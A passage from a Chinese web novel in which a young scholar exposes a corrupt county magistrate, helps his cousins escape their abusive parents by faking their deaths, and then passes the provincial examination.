“都是是我的错,我就不该放她回去!赵来喜王小红算什么当父母的,如今,她人没了,翠翠也不见了,也不知那孩子如今在哪里。” 陈莲再次崩溃。 “如何是婶娘的错,分明是那一对畜生的错!” 这时,赵小云红着一双眼睛走了进来。 “宝儿,青青没了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章没事就好 “对,云姐,你说的没错,青姐已经没了。” 赵丰年看着赵小云,她惨白着一张脸,两人视线交错之间,却忽然笑了。 “人只有失去了才懂得珍惜,这是宝儿你曾告诉我的道理,可是,并不是所有的人都配叫做人,宝儿,你回去吧,赵来喜就是条疯狗,一闻到肉香就咬着不撒口,我们不怕跟他对上,但是你还要科举,为了这种人,不值得。” “他将青姐的事推到了纺织厂头上?” 陈莲抹了把眼泪,“他算盘落空,自然是能抓一处是一处了,只不过,纺织厂的大家不是吃素的,我们陈家湾的宗族也不是吃素的,他就是想赖上,那也不能够!” “大生爷爷已经知道了,赵家村那边的也不会放任他胡闹。” 赵丰年点头,“既然如此,那我就助你们一臂之力,府城的大人已经查到何县令了,我会将状纸递上去。” 陈莲跟赵小云闻言当即便更放心了。 “太好了,如今大家不敢闹得太难看就是怕得罪了县衙里那位,有了宝儿你这句话,我们就敢放心去做了。” 赵丰年正要离开的时候,赵小云喊住人。 “宝儿,快入冬了,我听人说用三碗水 煎野板栗熬成一碗,喝下能养脾胃,你来回奔波辛苦,莫要忘了保重身体,青青跟我们都希望你能平安顺遂。” 赵丰年回头看了她一眼,“谢云姐关心,我会的。” 赵丰年去了一趟县城,在府城留了一天,第二天直接带着柳小尺回了府城,直奔去了府衙门。 他是府衙门的熟脸,直接畅通无阻地见到了徐钰跟顾子升。 “赵秀才?又见面了。” “阿年,你怎么来了?” “学生要状告一人。” “状告何人?” “状告临县县令何余搜刮民脂民膏,贪污受贿,逼死良家!” 县太爷被府城的钦差大人摘了官帽了。 这是临县百姓今年过年期间最大的话题。 “钦差大人英明啊,府城的官差从这何狗官家里搜出了一堆金银珠宝,他可是才来了一年不到啊。” “听说还有人想把闺女送狗官做妾呢,那闺女刚烈吊死了。” “可惜了,不过,有这样的父母,也是可怜。” 赵家村,赵老头张氏也加入到了村长父母骂儿子儿媳的行列。 整个年前,赵家没有一丝喜意。 赵丰年一家,也是这个时候回到了赵家村。 老四一家跟长孙回来了,赵老头张氏心里很是欣慰,只是一想到赵老二,想到两个孙女,一个死无全尸,一个被泥水泡的面目全非,两个老人瞬间又红了眼眶。 张氏抱着赵丰年赵大胖哭着心肝肉,像是要把所有对青青翠翠的爱都发泄到两个孙子身上。 怕老人家触景生情,陈莲来赵家村见巧娘赵丰年的时候,都没带两个女儿,然后提起了赵老头跟张氏去县城找三儿子赵来喜的事。 “娘也是怕了,经历了这么一遭,以前很多看不开的事也就看开了,人老了,可不就希望儿女都在身边,只可惜,他们不愿见到赵来喜王小红,赵来喜王小红如今人人喊骂也不敢回村,而赵来庆自打在县城娶了妻就再不愿回村了,只能叫他们白跑了一趟了。” 巧娘叹了口气,“赵来喜王三娘今后怕是不好过了,他们自作自受,我们不管,只是,赵来庆,他跟你和离,也是他自个儿没这个福气,你可要想开些。” 陈莲笑了,“可不是,是他没福气,我就是这般想的,我还得感激他,没有他,就没有今天的我了,当然,最应该感谢的自然是咱们宝儿。” 陈莲说完,又转向赵丰年,“说来,府城里,一切可好?” 赵丰年点点头,“放心吧,伯娘,一切安好。” 陈莲再次笑了,“好就好,纺织厂前面停工了好些日子,这些日子紧赶慢赶,倒是出了几匹新鲜的花样,我这次给你们拉了一车过来,你们送人也好,自己裁衣也罢,总归过年了,都换上新的,讨个好兆头。” “我就不跟你客气了,只是布料就算了,做什么给他做这么多袍子,他如今个头窜得厉害,做多了穿不下白废了你功夫。” “可不是我做的,我只打了个样,是阿玉阿珠的手艺。”说起两个女儿,陈莲一脸的骄傲,“不是我说,我家阿珠阿玉女红这方面,可是比我这个做娘的强多了。” 巧娘也夸,“阿珠阿玉是能干,手巧着哩!” “我本来还想这两年给阿珠阿玉留意好人家,如今经了这么一遭,我真是舍不得俩孩子,这些日子倒觉得小云爹娘说的不错,慢慢找,找不大就招赘,还能委屈了孩子不成?” “是这个理!” 过完年,赵丰年一家就准备回府城了,赵大胖依旧跟着一起。 张氏这几日心里才恢复一些,见两个孙子都要离开,一时间拉着两人的手,就是不肯松手。 赵老头安抚了半天也不成。 赵丰年无奈,回抱着张氏,说了几句话,张氏这才擦擦眼泪,放他们离开了。 赵二胖在后头不满。 “都是孙子,就没瞧见我奶这样舍不得我的。” 却被王三娘拍了一巴掌,“你整天在村子里招猫逗狗,看见你都嫌烦,还舍不得呢!” “反正你们都是偏心,哼!” “嘿,你还反了天了!” “也没在这里住多久,过个年的功夫,竟还有些惦记了。”到了府城,巧娘一边感叹,一边又急着去看后院种的菘菜。 赵丰年跟赵来贺赵大胖一起搬行李,村里如今富裕了,过年也舍得买点好的犒劳自己与家人,地里的菜就不新鲜了,得知府城吃口菜都要花钱,临走的时候送了他们不少,也就是冬日里除了菘菜萝卜没多少菜,不然一车是得装不下了。 “这条瞧着不行了,咱们晚上吃鱼汤面。”赵来贺将一个装满水的大木桶提了下来。 赵丰年看了眼,是上河村跟下河村送的鱼,秋天的时候上河村跟下河村的鱼卖到镇上跟县城,颇受欢迎,两村赚了不少,过年那会儿两村还特意上赵家送了一回鱼,到了临走的时候,又忙着送了一桶来。 都是懂感恩的人,只说想吃鱼了就来句口信,直接让运输队给捎到府城来。 “放水桶里养不了几日功夫,明天去傅府拜年,给你老师他们也带上几条。” 第二天一早,一家人收拾完,带上给傅家的年礼,便出发了。 到了傅府,自然是收到了热情的款待。 傅老妇人将赵丰年引到了后院。 “宝儿!” “青姐,翠翠。” 屋里的人正是赵青青跟赵翠翠。 赵丰年朝傅老夫人一拜,“多谢师母了。” 傅老夫人揶揄一笑,“你老师说的对,你就是个操心的命!你来看看,我可有亏待你两个姐妹?青青翠翠在我们这里再安全不过了,你就放心吧!” 赵丰年也笑,“师母可别打趣我了,人在师母这里,我是再放心不过的了。” 赵青青此时也走了过来,腼腆道:“这些日子辛苦麻烦老夫人收留我跟妹妹了,大夫人对我们之恩,我们铭记于心。” “说这些话可就见外了,你们是阿年的姐妹,出了事我们肯定是要管的,再说,雪儿跟着我们回老家,一个人独孤,平日里又没什么玩伴,如今你们来了,倒是刚好了,你们先说话吧,我去找阿年娘去。” 傅老夫人将空间留给姐弟三人,便去寻巧娘去了。 赵丰年看着两人状态不错,松了口气,“前些日子接二连三发生了不少事,如今那何余狗官已经下狱,只等着钦差大人到了京城按律处置,他这官是做不成了,那边所有人都以为你们已经死了,眼下才过去了一个多月,还不是时候,只能委屈青姐你跟翠翠继续躲在傅府一段时日了。” 赵青青摇头,“如今这样已经很好了,没什么委屈不委屈的,傅家人都很好,傅老夫人很慈祥,傅姑娘也没有架子,说起来,今年倒是难得过了个清静年,这些都多亏了你,谢谢你,宝儿。” “谢谢弟弟。”翠翠冲赵丰年露出了一个甜甜的笑容。 时间拨回一个月前。 赵丰年跟柳家兄弟从纺织厂出来,直接去了县城,搜集临县何余何县令的罪证,待了一天后,带着柳小尺回府城递罪证据。 “我这里也有了一些关于何余那厮为官不正的证据,正打算进一步查明,没想到你速度如此之快。” 见赵丰年脸色不对,顾子升猜到许是赵家村出了什么事了。 “阿年,可是出事了?” “我青姐死了。” 赵青青之前总带着妹妹一起来赵家干活,他们还一起上山捡过野板栗,顾子升记得很深,在顾子升眼里,赵丰年这个堂姐是个非常温婉又善解人意的姑娘,跟她那对父母完全不同,却没想到听到了她的死讯。 “怎么会这样?” “何县令何大人,临县 的父母官,缺了一房妾室,便有那猪狗不如的双亲为了前程强行将女儿推入火坑,逼得她自尽,曝尸荒野,被豺狼啃噬,连具全尸都没留下。” 赵丰年十分平静地说出这番话,徐钰跟顾子升这两个听的人却当即气愤不已。 “好一个何余,好一对猪狗不如的爹娘!” “阿年,你放心,我们一定为你做主!为青青做主!” 徐钰是个急性子,当即领着人准备去临县了,顾子升本想跟上去,却被赵丰年拦了下来。 “子升,我需要你帮我做一件事。” 赵丰年难得如此认真,顾子升忙问,“什么事,你只管说,我一定帮你!” “违法犯纪的事。” “啊?”顾子升懵了,旋即无奈,“都这个时候了,你还有心思开玩笑。” 赵丰年看了他一样,“我没开玩笑。” 顾子升正了色。 “我需要一具女尸,十四五岁,身高三尺有余,身形瘦弱,死亡时间在三天之内。” 顾子升崩溃,“你想干嘛?杀人可是死罪!就算我在府城手眼通天,就算你是我好友,是,我说过会帮你,但是也不能去杀人啊!再说,再说,我连杀鸡都还没学会呢!” 赵丰年:“” “有时候,我真想撬开你的脑子,看看里面是不是一半面粉,一半是水。” “啥意思?” 赵丰年跟他说了一下自己的计划。 “你是说,你要伪造出赵翠翠被山洪卷走,死在路上的假象?” 赵丰年点头,“青姐死了,依着我那个好二伯的性格,怕是不会为此就善待另外一个女儿,既然翠翠已经逃出来了,那就当她已经死在了逃跑的路上,我会安排好她不叫任何人发现,但是,” “但是你需要一个死人来冒充是赵翠翠。”顾子升接上。 “没错,山洪泥石流能将尸体泡得不见本来面目,只要穿着同样的衣服,身形大致相似,没人会知道这是谁。”赵丰年看了顾子升一眼,“我知道,衙门里总会出现各种案子,城外也有处理的乱葬岗,我需要你帮我找到一具合适的。” 顾子升恍然大悟。 “我知道了,我会马上派人去办的,不过,那个‘一半面粉一半水’是什么意思?是说我喜欢面食嘛?” 赵丰年:“对,你就这样理解。” 出了衙门,赵丰年又马上去了傅府,说明了缘由,并恳请傅老夫人收留人,傅老夫人刚听到一半已经火冒三丈了,闻言当即就答应了下来。 “阿年你只管放心,师母绝对替你把人照顾好!” 做好府城的安排,赵丰年这才乔装回到了临县,然后在柳大尺的陪伴下,连夜去了赵家村外的野板栗林。 “云姐,青姐。” 昨日在纺织厂跟赵小云对上目光的那一刻,赵丰年就知道赵青青没死,赵小云也知道赵丰年肯定了然,只是,她必须将赵青青已死的消息板上钉钉。 “一天后,半夜三更,野板栗林,云姐,我如约而至了。” 这就是赵丰年临走时赵小云传递给他的信息,而赵丰年也看到了赵青青,还有几个少女,赵丰年认出了是纺织厂的女工。 “什么都不要说了,带青青走吧。” 赵青青扑向了赵小云,无声落泪,几个少女一起抱了抱赵青青。 “走吧,青青。” “对,赶紧走吧,副厂长。” “我们会永远记得你的!” 赵青青擦了一把眼泪,进了马车车厢。 “我们一起走,这么晚了,不安全,你们得赶紧下山,下了山我让大尺哥送你们回去,我跟青姐在县城外等他。” 赵小云摇摇头,“你们只管走,我们纺织厂的姐妹马上就来接应我们。” 见她坚持,赵丰年只好先离开,走的时候,居高临下在火把的照映下,赵丰年看到了那些姑娘苍白的脸颊。 “她们都是为了帮我,我从家里逃出来,路上就碰到了云姐,知道了我的事后,本来想直接送我去府城找你们,想要四叔四婶帮着劝劝我爹娘,可是半道却听说我爹娘已经收了礼金,还放出了话去,我就知道我是逃不了了 云姐想用起初宝儿你帮她的法子,只是我们都知道,我爹娘跟她爹娘是不一样的,我便想到了你曾教过我的一个词,‘金蝉脱壳’,我就是那只金蝉,我想要彻底摆脱我爹娘的女儿这个身份,可是有经验的人都知道人血跟动物的血是不一样的,所以我打算用我自己的血。” 赵丰年看着苦笑着的赵青青,“可是云姐不答应,说人流那么多血,都不用假装就真的要死了,然后她就说,她要分我一些血肉,再后来,纺织厂的姐妹们也知道了,也说要分我一点血,就这样,每个人都给一点,就汇聚了一大片的血,跟那些碎肉” 赵青青泣不成声,“身体发肤受之父母,我是不想要了这身体发肤,她们却是为了帮我,生生从身上剜下一块血肉来!” 赵丰年闭了闭眼,听到了车厢外传来了一声响亮的抽泣声。 是柳大尺。 “青姐,你放心,一切都过去了,恶有恶报,接下来,只交给我。” 赵青青却摇摇头,“我得去找翠翠,我逃走之前,翠翠还在家里,我本来想着事成之后去接她,可是后面纺织厂的姐妹们暗中帮我找人,却找不到她了,她一个人在外里面,可怎么活啊。” “翠翠在府城,如今就在我家。” 赵青青猛然抬头,得到赵丰年肯定的点头后,崩溃大哭。 “太好了,没事就好没事就好。” 第52章 第52章乡试 “纺织厂如何了,厂里的姐妹都没事吧?” “放心吧,如今已经顺利再开张了,赵家村也一切安好,云姐让我给你带句话,‘带着翠翠好好活下去’,另外,她让我把这个交给你。” 赵青青接过来一看,是一条发带,颜色鲜艳似火,瞬间又湿了眼角,“往后再见面也不知道是何时了。” “总归,你们先安心待在这里,其他的不用担心。” 赵青青点点头,又问了巧娘跟赵来贺。 赵丰年露出笑意,“他们都好,来之前还叫我问问你有什么需要的。” 赵青青一阵感动。 另一边,巧娘跟傅老夫人正闲聊着,傅轻雪一旁作陪。 “说来,阿年是不是今年要参加乡试了?” 巧娘笑,“是这样的。” “秋天过了乡试,就要去京城参加会试了,时间过得真快啊,转眼我们回怀江府都一年了。”傅老夫人看着孙女,感叹完便又笑了,“雪儿父亲打算今年年前接雪儿回京,届时你们倒是可以一起进京,路上也好有个照应。” 巧娘看了眼安安静静的少女,惊讶,“那您二位不打算一起了?” “人老啦,走不动了!” “祖母一点也不老,还要长命百岁呢。” 巧娘也笑,“可不是,我家阿年说了,人活一辈子,聚少离多,能跟家人在一起是莫大的福气,只要一家人一起,就没什么好担忧的,你们去年就来了这里,今年再不一起过年,怕是家里人想念得紧。” “阿年这孩子,平日里一本正经,却能说出这样的话来,不过也是,这孩子重情。” 得知赵丰年打算参加今年的乡试,傅青云也开始对赵丰年严厉起来,赵丰年甘之如饴,每晚都要燃尽了灯油才睡,看得巧娘赵来贺心疼不已。 而另外一边,徐钰已经回到了京城复命。 “这赵丰年竟才十四岁?”天元帝惊讶不已,只是越看越心喜,“傅青云竟然横刀夺弟子,哈哈哈,江伯远那臭脾气,能给他好脸才怪了,你看看,我说什么来着,果然在青州书院被江伯远为难了吧,江伯远送了自己的文集给赵丰年?看来,他对此子是颇为欣赏了。” 太子在一旁听得十分好奇,冷不防天元帝点了他的名。 “泽儿啊,你看看,这怀江府上下,已然算是政治清明了,可依旧存在蛀虫,就这样欺上瞒下,像赵丰年这样的人都险些被埋没,你以为何?” 太子接过折子,正要开口,就听皇帝继续说了,“朕记得户部员外郎张谦此前在怀江府做过通判?” 一旁的公公上前,“正是,陛下,张大人先是在临县做县令,考评为优,后调任怀江府通判,任期做了不少实事,去年才调到了户部,不光如此,那怀江府的同知于广成于大人,两年前也调到了京城,如今在工部做事。” 天元帝点点头,“张谦不错,记得几年前奉上丰收油的就是他,那时候他似是提过赵丰年之才,于广成倒是没印象了。” 这话一出,底下人就懂了,张谦入了天子眼了,而 那于大人,怕是官职就到工部员外郎了。 “徐卿家,赵丰年何时乡试?” 徐钰拜,“回陛下,正是今年秋天。” “好好好,我到要亲自看看这位怀江府神童何时走到朕面前。” 几日后,户部张谦忽然升任户部郎中,众人纷纷道喜。 张谦惊喜之余百思不得其解,托人问了才知道,竟然是因为赵丰年。 “赵学子可真是我的福星啊,既然如此,我也要助助他才是。” 京城忽然出现了一个叫做“赵丰年”的怀江府才子名号,据说此人乃是神童,自幼聪明绝顶,不过十来岁的年龄便已经在县试、府试、院试均为案首,更是做了不少实事,甚至被傅大儒收为弟子,连陛下都对此人十分重视,期待他入朝为官。 京城的学子自然不服,纷纷暗中较劲就等着此人来了京城一较高下了。 而怀江府这边,赵丰年读完已经是户部郎中的张谦来信,不禁好笑。 顾子升则是忽然想起了一件事。 “你是傅先生的弟子,而傅先生此前担任过太子太傅,也就是太子的老师,如此一来,岂不是你跟太子事出同门?厉害了呀,你这是还没入朝为官就给自己找了个靠山啊!” “你可真能想,不过,太子殿下是个什么样的人?”如果王朝未来的继承人不行,赵丰年对入朝为官后的选择可是要重新规划了。 “太子殿下仁厚,人人夸赞。” “一个人能得到每一个人的夸赞可非易事。” 顾子升想了想,“那倒也没有,徐钰就经常弹劾太子殿下,不过都是鸡毛蒜皮的小事,你要是见了太子殿下就知道了,他真的是一个很仁慈的太子,对待下面的弟弟妹妹也很友善。” “我明白了。” 顾子升都觉得好的人,要么是真的好,要么就是伪装得太成功了。 时间很快就来到了八月,这一回,赵丰年要去岚州城了。 乡试一共三场,每一场要考三天,持续九天,也就是说,这九天里,考生吃喝拉撒都要在贡院里,这也是为何每年都有很多考生坚持不到最后就被抬了出去。 这几年赵丰年一直坚持锻炼身体,赵来贺巧娘也不留余力地给他补身体,赵丰年相信如今自己的身体应该吃得消,只是巧娘一听要在里面待九天就忧心忡忡。 傅青云让府医给赵丰年号了脉,又备了一只人参,让他到时候含在嘴里补充体力,赵来贺巧娘感激不尽,涉及儿子身体,也没推脱,傅府的人参都是上等的药材,也是他们外面想买都买不到的。 赵青青赵翠翠听说要在号舍里搭木板睡觉,给他做了一身厚袍子,好叫到时候垫在下面舒服一点。 “多穿点,到时候热了晚上还能当被子,我听说雪儿说,那号舍里还有可能漏雨水,可要带斗笠啊?” 赵丰年安抚她,“是有可能年久失修,之前参加过乡试的几位同窗说要自行准备油布,爹给我准备好了,到时候布置在头顶,不妨事。” “那就好,你记得去了就布置,也要压好了,就怕下雨刮风,瞧我说的,呸呸呸,秋闱期间一定风和日丽!” 赵青青赵翠翠月前已经从傅家搬出来了,如今就住在赵家,这回去岚州城,赵来贺跟赵大胖陪赵丰年一起去,巧娘跟两个女孩子则留在家里。 这回赵丰年打算等乡试结果出来了之后再回府城,算起来前后要在岚州城待一个多月,顾子升让为了赵丰年放心考试,特意让巡逻队每天在赵家巷子那边多转几圈。 八月底的时候,还没等赵丰年赵来贺传回信,傅家先得了消息—— 赵丰年榜上有名,中了! “我就知道这孩子是没问题的,这种好消息,怕是赵家那边还不知道呢,得赶紧让人跑一趟,也好叫他家里高兴高兴!” 得知了赵丰年考上了举人的消息,巧娘跟赵青青姐妹高兴不已,送走傅家来报喜的下人,巧娘高兴得在院子里来回打转。 “宝儿他们应该在回来的路上了,得去挑只鸡,这回遭了罪了,可要好好补补,不不不,宝儿不爱鸡汤呢,得买大骨头” 赵青青笑着拉着她坐下,“婶娘,你看你,都高兴得乱了头了,宝儿跟四叔胖哥他们还不知道如今到了哪里呢,现在就去买骨头留不住的,不如咱们把能收拾的东西捡了收归好了,等他们回来,又要回村祭祖,又要宴请大家吃酒,忙起来怕是没有空闲了。” 巧娘拍拍她的手,笑道,“还是你想的周到,可不是该收拾收拾东西了,前头说是跟着傅家的车队一起去京城的,咱们先收拾好东西,到时候随时可以走,也免得人家等咱们了。” 过了几日,便有上头的差人来家里报喜,巧娘笑着给了喜钱。 巷子里的其他人家听说赵家儿子中了举了,一时间纷纷羡慕不已,都嚷着明年也要在院子里种两颗桂花。 “蟾宫折桂,这话不是没有道理的!” “人家本来就会读书,打小就聪明,不然能叫神童么?” “你们都想岔了,去赵家问举人娘亲讨根桂花枝条才叫沾喜气呢!” 这话一处,众人一窝蜂呢都往赵家跑了。 赵青青赵翠翠虽然住在赵家,但是平日里不会出门,更不会叫人看到,巧娘让两人回房间去,这才应付起了外面道喜的客人。 只是听到大家都想要折一根桂花枝条油哭笑不得了。 而这边,赵家村也收到了消息。 村长赵大生直接就冲到了赵来金家里。 “这得开祠堂告诉列祖列宗啊!之前中秀才的时候就说要开祠堂,你们都说太高调了,如今宝儿中了举人,这可是咱们赵家村头一份!何止是赵家村,就是方圆几百里的村子底下,哪个村里出了举人?宝儿这回可是替咱们村争了口气了!” 赵老头也乐呵。 “开,开!等宝儿还有老四他们回来了就开祠堂祭祖!” 这时候赵来元从外头跑了过来。 “爹,大壮叔,县衙门来人了,人还不少!” “啥?”赵来金猛地站了起来。 “哎呀,好事!敲锣打鼓的,说是要贺宝儿中举呢!” 去年的何县令被罢官了,开年朝廷又派了一位姓朱的县令,平头百姓不管县令是谁当,只要不妨碍自己的日子就成,过了一段时日,这位朱县令似乎并不像之前那个姓何的一样四处吃喝搜刮,众人就安心了,只是,他们都没想到,朱县令竟然亲自来赵家村了。 “赵举人是朝廷陛下看中的人才,如今中了举,本官自是要亲自来贺一贺。” “回老大爷的话,赵举人如今还未回家呢,这是他爷爷跟大伯一家。”赵大生如今也算是见过好几个县太爷,都不似第一次看见县太爷那般慌张了。 “无妨无妨,想必赵举人还在路上,本官今日只是来告诉你们这个消息罢了,也算是尽了将来同朝为官之谊,另外这里是本官送给赵举人的一些贺礼,你们代为收下便是了。” 赵老头激动又忐忑地收下东西,县太爷又说了几句,这才离开。 县衙的人走后,赵家村再一次轰动了。 消息更是传到了其他几个村,各村都或多或少受过赵丰年的恩,纷纷拿了贺礼上赵家村来了。 这一日,赵老头张氏还有赵来金夫妻脸都要笑烂了,只说后头通知各村各家过来吃酒。 送走了各村贺喜的人,赵家村几人这才有空坐下来。 “宝儿考上举人了啊!是不是以后就要当官去了?” “宝儿本来就是要做官的,自然是了。” 赵来金笑得与有荣焉,王三娘则拉着一众妇人聊 着赵丰年的一些往事。 “前头县太爷说的朝廷和陛下看中咱们宝儿,没想到,宝儿的名声都传到了京城里去了,可不得了了。”赵大生笑眯眯感叹。 赵来元看了一遍那些贺礼,也感慨,“难怪人家说穷秀才,富举人,宝儿侄子这刚考完试,人都没回来,这礼就到了。” “净瞎说,宝儿就是做秀才,做童生那会儿,也是有大本事的,有大本事的人,能穷一时,还能穷一辈子不成?”赵大生笑斥过儿子,转头又问赵老头,“来贺有说什么时候回村没?” “说是等乡试结束后,约莫要到九月底了。” “好好好,那还有些时候,这回村里给办酒宴,大家都好好乐一乐!” 赵来金却站了出来,“大生叔,这回不劳烦村里了,我家来办,说起来,我是家里的老大,一直也没帮上什么忙,以前不懂事,也做了许多错事,四弟一家大气不追究,反倒是处处帮扶我们,更是把大胖带在身边养。 这回侄子中举了,往后肯定是要去京城去其他地方做官了,我这个当大哥、当大伯的,也不能为他们做点什么,就替他好好办一场酒宴吧。” 赵老头张氏十分欣慰,赵大生也体谅,正要说什么,却见赵来贵走了进来,“来金,算我家一个!” “没有老四一家,我们家早就散了,如今这么好的机会,我可不能都让了来金一个人占了去!” 赵来金笑了,“你想一起就一起!” 那头,有好事的妇人就问王三娘,“哎呦,这回是要大办特办的,得不少银子了,三娘你当真舍得?” 王三年啐了她一口,“怎么就不舍得了,我王三娘分得清好坏,先不说大胖在他四叔家吃得好穿得好,就是那三十亩地,随便几亩就够了!别说办酒席了,我还要去镇上请伙夫来烧灶呢!” 众人纷纷夸她大气。 府城这边,赵丰年一行人也终于回来了。 巧娘一看见儿子眼泪就下来了。 “瘦了!你爹也是,考试结束了就不知道带你吃点好的么,这几年好不容易养的肉,全掉没了。” 见巧娘抹着眼泪,赵来贺头疼,“我让大夫给看了,说了不碍事,养养就能回来了。” 巧娘没理他,只拉着赵丰年往里走,“不知道你们今天到家,娘一会儿就去买大骨头给你炖汤,多喝些!” “娘,这些日子家里都还好吧?” “好着呢,小顾派了人周围日日巡逻,昨天我还在跟青青说你什么时候回来呢,你不知道,你们还没回来前,衙门里就有人给我们报喜了,我们宝儿真是厉害,这就是举人了!” “还是头名案首呢!说是叫解元!”大胖高兴补了一句。 巧娘疑惑,“又是案首?那这回还发米发银子不?” 青青笑着迎了上来,“婶娘,宝儿都要去京城了,往后是要做官的,您还惦记发米发银呢?” “嗨,我这不是怕浪费了么!” 众人纷纷笑了。 晚上,大胖去县衙门接了顾子升,又带上了柳大尺柳小尺,一起去赵家吃饭。 “我就知道你肯定行,这回要去京城了吧?贺叔,你们准备什么时候出发?”自打来了怀江府,顾子升是再不知道什么叫做“食不言寝不语”了。 “怕是要到十月底了,前面答应过村长,要回趟村里开祠堂祭祖,再说,宝儿中举了,也要回村摆饭,把事情办了。” “会试是明年二月,赶在下雪前去京城,十月十一月初都成。” “主要是得去找屋子。”说到这个巧娘有些发愁,“小顾啊,京城里的房子是不是都挺贵的?” 顾子升努力回忆了一番,不太确定,“应该是吧?” 赵丰年看了他一眼,给巧娘夹了一块肉,“娘,你问他算是问错人了,怕是咱们小顾少爷以前是十指不沾阳春水的主,怎么会知道房价?” 顾子升不服,“这话说的,我名下也是有好几件铺子宅子的!” 其他人听了十分敬佩惊叹。 顾子升被这些目光看得有些飘飘然,活像是他自个儿本事赚的似的, “咳咳,那什么,巧婶,你们不用担心这个,我反正宅子多,送你们一处住着就是了,左右我也住不过来。” 巧娘不赞同地看着他,“这孩子,说什么呢,那是你的宅子,我们住像什么话,还有,哪有人动不动就要送宅子的?你这孩子,就是心太软太诚了,可要留心别叫人给骗了!” 顾子升笑着收回了自己的话。 “不如这样,还是我跟大哥先去京城探探路,先找几家宅子,等你们来了定下来,我们再回来。” 赵丰年笑了,“舅母催着给两位尺哥相看呢,我要是让你们去京城了,回头她还不知怎么念叨我呢!” 但是,赵丰年确实想跟柳小尺兄弟谈谈。 饭后,赵丰年将柳小尺柳大尺带到了书房。 “小尺哥,大尺哥,不知道你们将来有什么打算。” 第53章 第53章抵达京城 赵丰年很早之前就曾想过对柳大尺柳小尺的安排,只是柳小尺柳大尺毕竟都是土生土长的古人,他不确定他们拒绝成家是一时的抗拒,还是经过了深思熟虑后对自己将来做好打算才拒绝。 不可否认,他的确想要柳家兄弟继续帮他做事,对兄弟俩来说这是机遇也是挑战,可是,倘若他们已经有了自己的安排,他自然是要尊重他们的意愿的。 听了赵丰年的话,柳小尺先是看了眼哥哥,这次又问,“宝儿,你是不是有什么新的主意了?” “是有些想法,但是我想先听听两位兄长的意思。” 柳大尺挠挠头,“我们听你的啊,什么想法意思?” 柳小尺笑了,“大哥说的没错,我们都听你的。这些日子我也想了很多,如果继续留在怀江府,做运输队的事,我知道我们肯定能比大多数人能活得更好,宝儿你给了我们一份既安稳又叫人羡慕的活,凭着这个,这辈子我们能当富家翁,不愁吃穿,但是闲下来的时候,我总是在想,我能不能做得更好,我还能做点什么。 不瞒你说,自从听到宝儿你中举的消息,我是有些发愁的,总会有一种要被抛下的感觉,宝儿你的未来很宽广,你还有很多路要走,但是我们可能就这怀江府一片天地了,有时候我也想走出去,走到更远的地方瞧一瞧,只是又不知从何走起。” 柳小尺有些羞愧。 “小尺哥,那你想要离开吗?” “那就要看你需要我们做什么了,如果你需要我们留在怀江府,那我跟大哥就留在这里,继续帮你办好这里的事,如果你需要我们离开,我们就离开。” “对,没错,我们都听你的。” 柳小尺跟柳大尺都是一脸坚定。 赵丰年有些感动,柳家兄弟确实不愧是他一开始就看中的人。 “说来,我真的有些事需要小尺哥跟大尺哥去做,我有意成立一个商队。” 过了几日,赵丰年去傅府拜见傅青云,师徒俩聊一下午,等赵丰年离开傅家,赵家人也准备回赵家村了。 赵家府城这边没人,赵青青赵翠翠两个女孩子在家里赵丰年也不放心,便再次麻烦了傅老夫人。 “往后只管叫这两孩子跟雪儿一起叫我祖母,在我家住了小一年了,合该是我养的姑娘呢!” 傅老夫人调侃完,转头就派了马车来赵家接人了。 “你们放心回去吧,我跟翠翠正无聊呢,刚好去傅家找雪儿聊聊。”赵青青体贴跟众人道别。 “弟弟再见,婶娘再见,四叔再见,大胖再见。” “嘿,这丫头,你得叫我哥哥!”大胖一脸不满。 赵翠翠只看了眼赵丰年,便笑着钻进车厢了。 留下大胖一头雾水,“她那是啥意思?” 巧娘笑嗔了赵丰年一眼,“都是宝儿带的好头,从来不叫翠翠姐姐,翠翠这不就有样学样了!” 大胖恍然大悟,“这丫头怎么这么奸诈!谁干的找谁去啊,还学会挑软柿子捏呢!” 众人都笑了。 这次赵丰年一家回到赵家村依旧收到了热烈的欢迎。 得知赵来金跟赵来贵两家要一起把他们家宴席包下来,赵来贺巧娘都十分感动。 “其实我们也没帮上什么忙,就是买菜都没花什么银子,上河村下河村 送了不少鱼来,好家伙,那个头叫一个大,陈家湾、柳河村都送了不少肉菜米面,还有村里人,你家拿一把青菜,我家拎一框鸡蛋,这不是,还没买就全乎了,就是柴火,都有那顾家村的人送过来。” “顾家村?”巧娘记得除了儿子在那边读过书,就没什么交集了。 王三娘继续,“可不是,说是要沾沾举人老爷的才气,往后好叫他们顾家村的私塾多出几个秀才举人呢!” 巧娘笑了,“倒是实诚的。” “还不止呢,县太爷来过的事你们已经知道了,可你们不晓得,前些日子镇上县城里,来了好几个穿绸子的员外老爷,拿的礼一个比一个厚呢,全都叫你们老爷子拦回去了,说是这些人目的不纯,不能连累了宝儿。”赵来贵媳妇吴菊香也插了一嘴。 巧娘连连点头,这事回来的路上赵丰年就跟他们分析过,他们这才知道有些人是瞧你显贵了来拜那什么,码头,今天你收了他的礼,明日他做了坏事,就是仗着你的身份,是要受个牵累包庇罪的。 “他爷做得对!” “对了,你还不知道呢,你猜那员外老爷里头有个谁?”王三娘忽然神秘兮兮。 “谁?” “赵来庆那东家!” 巧娘已经很久没有听到赵家老三的消息了,上回只听说他在县城成了亲,于是巧娘便问了。 王三娘满脸鄙夷,“是成了亲,放着陈莲那么能干的不要,娶了个好吃懒做的寡妇!我是听说,那位员外老爷听说他跟你们家关系一般后,便没再重用他了,如今还不知道在县城里怎么谋生呢,再瞧瞧陈莲,立了女户,一个人当家作主,赚不完的钱,啧啧!” 王三年以前可是最看不上陈莲的人了,如今竟能夸陈莲能干,不过也是,如今谁不羡慕陈莲跟丈夫和离立女户当家做主。 巧娘唏嘘不已。 而另一头,赵小云也跟赵丰年问起了赵青青姐妹的情况。 “我知道她们一定会没事的,青青可是个很坚强的女孩子,之前在纺织厂,她管着底下三四十号人,就没有不服的,后面莲婶谈生意都是她出面的。” 赵丰年自然知道赵青青的能干,也问了赵小云的近况。 “还是那样啰,不过最近我娘在给我留意能招赘的人,我看了一圈都没合适的,有时候还真羡慕你们能在外面跑,倘若我是个男子,我肯定也能干出一番事业来!” “云姐如今也可以啊。” 